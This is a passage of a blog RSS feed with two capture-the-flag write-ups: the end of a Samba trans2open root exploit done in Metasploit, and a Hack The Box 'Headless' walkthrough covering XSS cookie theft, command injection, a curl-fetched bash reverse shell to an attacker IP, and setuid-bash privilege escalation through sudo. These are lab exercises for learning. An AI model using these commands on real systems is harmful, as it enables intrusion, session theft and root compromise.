auxiliary(scanner/smb/smb_version) &gt; exploit<br><br>[*] 192.168.52.228:139    - SMB Detected (versions:) (preferred dialect:) (signatures:optional)<br>[*] 192.168.52.228:139    -   Host could not be identified: Unix (Samba 2.2.1a)<br>[*] 192.168.52.228:       - Scanned 1 of 1 hosts (100% complete)<br>[*] Auxiliary module execution completed</pre><p>Now that we have the smb version —<em>Samba 2.2.1a</em> , I will go to Google to find a exploit for the samba version provided.</p><p>I got an exploit from the first link. According to Rapid7, there is an exploit named “Samba trans2open Overflow”.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*PfvY_XwYwUHJAFnhYV9b8Q.png" /></figure><p>So I went back to Metasploit to search for ‘trans2open’. We get multiple exploits but choose the linux version.</p><pre>msf6 &gt; search trans2open<br><br>Matching Modules<br>================<br><br>   #  Name                              Disclosure Date  Rank   Check  Description<br>   -  ----                              ---------------  ----   -----  -----------<br>   0  exploit/freebsd/samba/trans2open  2003-04-07       great  No     Samba trans2open Overflow (*BSD x86)<br>   1  exploit/linux/samba/trans2open    2003-04-07       great  No     Samba trans2open Overflow (Linux x86)<br>   2  exploit/osx/samba/trans2open      2003-04-07       great  No     Samba trans2open Overflow (Mac OS X PPC)<br>   3  exploit/solaris/samba/trans2open  2003-04-07       great  No     Samba trans2open Overflow (Solaris SPARC)<br><br><br>Interact with a module by name or index. For example info 3, use 3 or use exploit/solaris/samba/trans2open<br><br>msf6 &gt; use 1<br>[*] No payload configured, defaulting to linux/x86/meterpreter/reverse_tcp</pre><p>Next, we need to set payload as generic reverse shell tcp and set the rhosts to our target ip.</p><pre>msf6 exploit(linux/samba/trans2open) &gt; set payload generic/shell_reverse_tcp<br>payload =&gt; generic/shell_reverse_tcp<br>msf6 exploit(linux/samba/trans2open) &gt; set rhosts 192.168.52.228<br>rhosts =&gt; 192.168.52.228</pre><p>Finally, run the exploit and you get a root shell.</p><pre>msf6 exploit(linux/samba/trans2open) &gt; exploit<br><br>[*] Started reverse TCP handler on 192.168.52.159:4444 <br>[*] 192.168.52.228:139 - Trying return address 0xbffffdfc...<br>[*] 192.168.52.228:139 - Trying return address 0xbffffcfc...<br>[*] 192.168.52.228:139 - Trying return address 0xbffffbfc...<br>[*] 192.168.52.228:139 - Trying return address 0xbffffafc...<br>[*] 192.168.52.228:139 - Trying return address 0xbffff9fc...<br>[*] 192.168.52.228:139 - Trying return address 0xbffff8fc...<br>[*] 192.168.52.228:139 - Trying return address 0xbffff7fc...<br>[*] 192.168.52.228:139 - Trying return address 0xbffff6fc...<br>[*] Command shell session 1 opened (192.168.52.159:4444 -&gt; 192.168.52.228:32769) at 2024-04-10 13:30:36 +0300<br><br>[*] Command shell session 2 opened (192.168.52.159:4444 -&gt; 192.168.52.228:32770) at 2024-04-10 13:30:37 +0300<br>[*] Command shell session 3 opened (192.168.52.159:4444 -&gt; 192.168.52.228:32771) at 2024-04-10 13:30:38 +0300<br>[*] Command shell session 4 opened (192.168.52.159:4444 -&gt; 192.168.52.228:32772) at 2024-04-10 13:30:39 +0300<br>whoami<br>root</pre><p>That’s it for this Boot2Root challenge.</p><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=63378bcd3401" width="1" height="1" alt="">]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[Headless — HTB Machine]]></title>
            <link>https://wilfredmutai.medium.com/headless-htb-machine-38391e324e57?source=rss-7361d13bf4e4------2</link>
            <guid isPermaLink="false">https://medium.com/p/38391e324e57</guid>
            <category><![CDATA[writeup]]></category>
            <category><![CDATA[pentesting]]></category>
            <category><![CDATA[hacking]]></category>
            <category><![CDATA[hackthebox]]></category>
            <dc:creator><![CDATA[Wilfred Mutai]]></dc:creator>
            <pubDate>Mon, 08 Apr 2024 10:07:59 GMT</pubDate>
            <atom:updated>2024-04-08T10:07:59.839Z</atom:updated>
            <content:encoded><![CDATA[<h3>Headless — HTB Machine</h3><figure><img alt="" src="https://cdn-images-1.medium.com/max/300/1*gmoutib_ZyIP-rag1MhfbA.jpeg" /></figure><blockquote><em>Difficulty: Easy</em></blockquote><blockquote><em>User points: +20</em></blockquote><blockquote><em>Root points: +25</em></blockquote><blockquote><em>OS: Linux</em></blockquote><p>I started out with initial nmap scan on the target.</p><pre>Nmap scan report for headless.htb (10.10.11.8)<br>Host is up (0.35s latency).<br>Not shown: 998 closed tcp ports (reset)<br>PORT     STATE SERVICE<br>22/tcp   open  ssh<br>| ssh-hostkey: <br>|   256 90:02:94:28:3d:ab:22:74:df:0e:a3:b2:0f:2b:c6:17 (ECDSA)<br>|_  256 2e:b9:08:24:02:1b:60:94:60:b3:84:a9:9e:1a:60:ca (ED25519)<br>5000/tcp open  upnp</pre><p>Nothing to suggest a webpage from the scan report. I tried looking up what <em>upnp </em>is but got nothing useful<em>. </em>I wondered whether the port could lead to a webpage and voila!</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1007/1*_ItDIVYvEkvc5HEUAfksFQ.png" /></figure><p>Add the target IP to <strong>/etc/hosts</strong></p><pre>10.10.11.8 headless.htb</pre><p>After exploring the web page, the only option is to hit the “ For questions” button which leads to a new directory.</p><p>I got the feeling we might have more hidden directories so let’s do a quick <em>dirsearch </em>on the target.</p><pre>$ dirsearch -u http://headless.htb:5000<br><br>  _|. _ _  _  _  _ _|_    v0.4.3<br> (_||| _) (/_(_|| (_| )<br><br>Extensions: php, aspx, jsp, html, js | HTTP method: GET | Threads: 25 | Wordlist size: 11460<br><br>Output File: /home/wfr/Drop/headless/reports/http_headless.htb_5000/_24-04-07_21-49-56.txt<br><br>Target: http://headless.htb:5000/<br><br>[21:49:56] Starting: <br>[21:50:38] 401 -  317B  - /dashboard<br>[21:51:08] 200 -    2KB - /support<br><br>Task Completed</pre><p>I will start by looking into <em>/support</em>.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*vszDSExAFbKSaK8JdVgV_w.png" /></figure><p>A form huh? Sending information into the form does not give a response so I assume it’s been sent to a server. Interesting! I should try command injection.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/314/1*H9a__h85V4J44c3g1jCsKw.png" /></figure><p>Trying this gives the response below.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/662/1*1YTvxYy9eeF9KKef6DdGKw.png" /></figure><p>This gets even more interesting. I notice the <em>cookie: is_admin </em>which does not seem to change with every form input<em>.</em></p><p>Dirsearch gave another directory <em>/dashboard</em> with a 401 status code</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*xSp-bwt9SAmGhZk57dmAVg.png" /></figure><p>I tried to decode the cookie and noticed it has a <em>“user”</em> in it which suggests we can try to manipulate the form into giving us admin cookie.</p><h4><strong>BurpSuite:</strong></h4><p>I tried multiple possibilities but couldn’t get anything to work. Injecting payloads into the form gave the “Hacking Attempt Detected” error every single time.</p><p>Came across these articles that shed some light to what I was looking for.</p><ul><li><a href="https://pswalia2u.medium.com/exploiting-xss-stealing-cookies-csrf-2325ec03136e">Exploiting XSS-stealing cookies, csrf</a></li><li><a href="https://stackoverflow.com/questions/72248884/how-to-steal-a-cookie-using-xss-script">How to steal a cookie using XSS script?</a></li></ul><p>Let’s give it a try!</p><p>I suggest use of Repeater for this part.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*Gp9oeGm0Opc5zLC0QdFoBA.png" /></figure><p>I added the payload at the ending separating it with “;” and in our User-Agent field.</p><p><strong>Server:</strong></p><p>Be sure to start a simple python server on port 80.</p><pre>python3 -m http.server 80</pre><p>We got something y’all!</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1021/1*DiRZjNe2_33XsCO_NAMZ5g.png" /></figure><p>Now that we have admin cookie, we can go back to <em>/dashboard</em> ,edit cookies and get access to the page.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*x7iLjmey9Qu8P1vxdoFNVQ.png" /></figure><p>Now that we have access to dashboard, I will try to establish a connection to the machine using <em>netcat</em>.</p><pre>nc -lvnp 9001</pre><p>Tried modifying the packet to directly establish a connection but failed.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*eNC6wMRJk51-9tF-G9_Neg.png" /></figure><p>Tried to execute a few commands inside the machine and they seem to work alright. Just need to find a way to create a reverse shell.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*2q3-wl5PxMdHAGb6o7rJpg.png" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*1lAYVxwwj7x7BsPLbekScQ.png" /></figure><p>Let me try to curl my machine and execute with bash.</p><pre>$ cat file.sh <br>bash -c &#39;exec bash -i &amp;&gt;/dev/tcp/10.10.14.69/9001&lt;&amp;1&#39;</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*pvY2WbFX_0MngeCONLVg4Q.png" /></figure><p>Don’t forget the python server.</p><pre>$ python3 -m http.server 80      <br>Serving HTTP on 0.0.0.0 port 80 (http://0.0.0.0:80/) ...<br>10.10.11.8 - - [08/Apr/2024 12:16:02] &quot;GET /file.sh HTTP/1.1&quot; 200 -</pre><p>Sending that request gives a response to our nc server.</p><pre>$ nc -lvnp 9001                                                         <br>listening on [any] 9001 ...<br>connect to [10.10.14.69] from (UNKNOWN) [10.10.11.8] 42862<br>bash: cannot set terminal process group (1382): Inappropriate ioctl for device<br>bash: no job control in this shell<br>bash-5.2$ </pre><p>We are in!</p><p><strong>User Flag:</strong></p><pre>bash-5.2$ pwd<br>pwd<br>/home/dvir/app<br>bash-5.2$ cd ..<br>cd ..<br>bash-5.2$ ls<br>ls<br>app<br>geckodriver.log<br>initdb.sh<br>user.txt<br>bash-5.2$ cat user.txt</pre><p><strong>Root Flag:</strong></p><p>At this point, I always run <em>sudo -l</em></p><pre>bash-5.2$ sudo -l<br>sudo -l<br>Matching Defaults entries for dvir on headless:<br>    env_reset, mail_badpass,<br>    secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin,<br>    use_pty<br><br>User dvir may run the following commands on headless:<br>    (ALL) NOPASSWD: /usr/bin/syscheck</pre><p>Analysis of <em>/usr/bin/syscheck</em> shows that it runs a file named <em>‘initdb.sh’</em></p><pre>bash-5.2$ cat /usr/bin/syscheck<br>cat /usr/bin/syscheck<br>#!/bin/bash<br><br>if [ &quot;$EUID&quot; -ne 0 ]; then<br>  exit 1<br>fi<br><br>last_modified_time=$(/usr/bin/find /boot -name &#39;vmlinuz*&#39; -exec stat -c %Y {} + | /usr/bin/sort -n | /usr/bin/tail -n 1)<br>formatted_time=$(/usr/bin/date -d &quot;@$last_modified_time&quot; +&quot;%d/%m/%Y %H:%M&quot;)<br>/usr/bin/echo &quot;Last Kernel Modification Time: $formatted_time&quot;<br><br>disk_space=$(/usr/bin/df -h / | /usr/bin/awk &#39;NR==2 {print $4}&#39;)<br>/usr/bin/echo &quot;Available disk space: $disk_space&quot;<br><br>load_average=$(/usr/bin/uptime | /usr/bin/awk -F&#39;load average:&#39; &#39;{print $2}&#39;)<br>/usr/bin/echo &quot;System load average: $load_average&quot;<br><br>if ! /usr/bin/pgrep -x &quot;initdb.sh&quot; &amp;&gt;/dev/null; then<br>  /usr/bin/echo &quot;Database service is not running. Starting it...&quot;<br>  ./initdb.sh 2&gt;/dev/null<br>else<br>  /usr/bin/echo &quot;Database service is running.&quot;<br>fi<br><br>exit 0</pre><p>Tried finding the <em>initdb.sh </em>file<em> </em>but seems it doesn’t exist so how about we make one and make it executable to help us gain root access.</p><p><a href="https://opensource.com/article/19/8/linux-chmod-command">Introduction to the Linux chmod command</a></p><p>I will create the file changing the permissions of bash with our users bit, and then run <em>sudo /usr/bin/syscheck.</em></p><pre>bash-5.2$ echo &quot;chmod u+s /bin/bash&quot; &gt; initdb.sh<br>echo &quot;chmod u+s /bin/bash&quot; &gt; initdb.sh<br>bash-5.2$ chmod +x initdb.sh<br>chmod +x initdb.sh<br>bash-5.2$ sudo /usr/bin/syscheck<br>sudo /usr/bin/syscheck<br>Last Kernel Modification Time: 01/02/2024 10:05<br>Available disk space: 1.7G<br>System load average:  0.00, 0.01, 0.00<br>Database service is not running. Starting it...</pre><p>We can now run <em>bash</em></p><pre>bash-5.2$ /bin/bash -p<br>/bin/bash -p<br>whoami<br>root</pre><p>Navigate to the root directory and cat the root flag. That’s it!</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/818/1*04dkGaZ8_z-3gC3JT4axiw.png" /></figure><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=38391e324e57" width="1" height="1" alt="">]]></content:encoded>
        </item>
    </channel>
</rss>